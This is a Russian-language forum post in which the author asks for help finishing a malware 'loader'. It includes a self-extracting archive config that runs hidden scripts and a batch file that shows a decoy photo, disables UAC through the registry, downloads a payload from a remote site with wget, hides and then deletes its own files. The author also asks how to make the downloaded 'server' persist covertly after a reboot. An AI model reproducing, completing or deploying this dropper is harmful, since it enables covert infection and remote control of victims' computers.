Имеются вопросы, хочу вложить фото в лоадер которое должно открываться в обычном формате, файл ( Config.txt ) указанного ниже содержания нужно поправить или оставить как есть ? ------------------------------ ;!@Install@!UTF-8! InstallPath="%TEMP%" RunProgram="hidcon:forcenowait:get.cmd" RunProgram="hidcon:wait.cmd" GUIMode="2" ;!@InstallEnd@! ---------------------------------- Вопрос по поводу обхода UAC reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f как я слышала это сработает только после перезагрузки компа. Будет очень паливно отправить комп в ребут в момент получения файла, значит нужно как-то прописать команду которая вступит в силу только после того как UAC будет уже отключён. Мне подсказали пару вариантов: 1. Добавить в реестр, в секцию RunOnce ссылку на местоположение скачанного сервера. Он однократно запустится после перезагрузки. 2. Можно засунуть ярлык на местоположение скачанного сервера в папку автозагрузка. Но надо будет позаботиться, чтобы в процессе установки сервера этот ярлык был удален. Или можно засунуть сам файл в папку Автозагрузка и дать ему скрытый атрибут. Может есть другие надёжные варианты ? Подскажите, если не затруднит, какие записи нужно добавить чтобы получить рабочий вариант. Вот get.cmd который я немного поправила ------------------------------------ @echo off set site= путь к сайту set file= название файла @attrib +s +h "wget.exe" @attrib +s +h "get.cmd" @attrib +s +h "wait.cmd" copy /y название.jpg %SYSTEMROOT%\название.jpg start %SYSTEMROOT%\название.jpg reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "FilterAdministratorToken" /t REG_DWORD /d 0 /f :start @ping 8.8.8.8 -n 5 >nul @if %errorlevel%==0 (goto get) else (goto start) :get @wget.exe %site%/%file% :end @attrib -s -h "wget.exe" @attrib -s -h "get.cmd" @attrib -s -h "wait.cmd" @del /f /q "wget.exe" @del /f /q "wait.cmd" @del /f /q "get.cmd" --------------------------------- вот содержание wait.cmd --------------------------------- @echo off ping 127.0.0.1 -n 4 >nul exit ---------------------------------
Здесь приведены файлы которые входят в состав сборки лоадера. Были озвучены два вопроса , что нужно поправить чтобы файлы ( Config.txt ) и ( get.cmd ) выполнили необходимую мне функцию.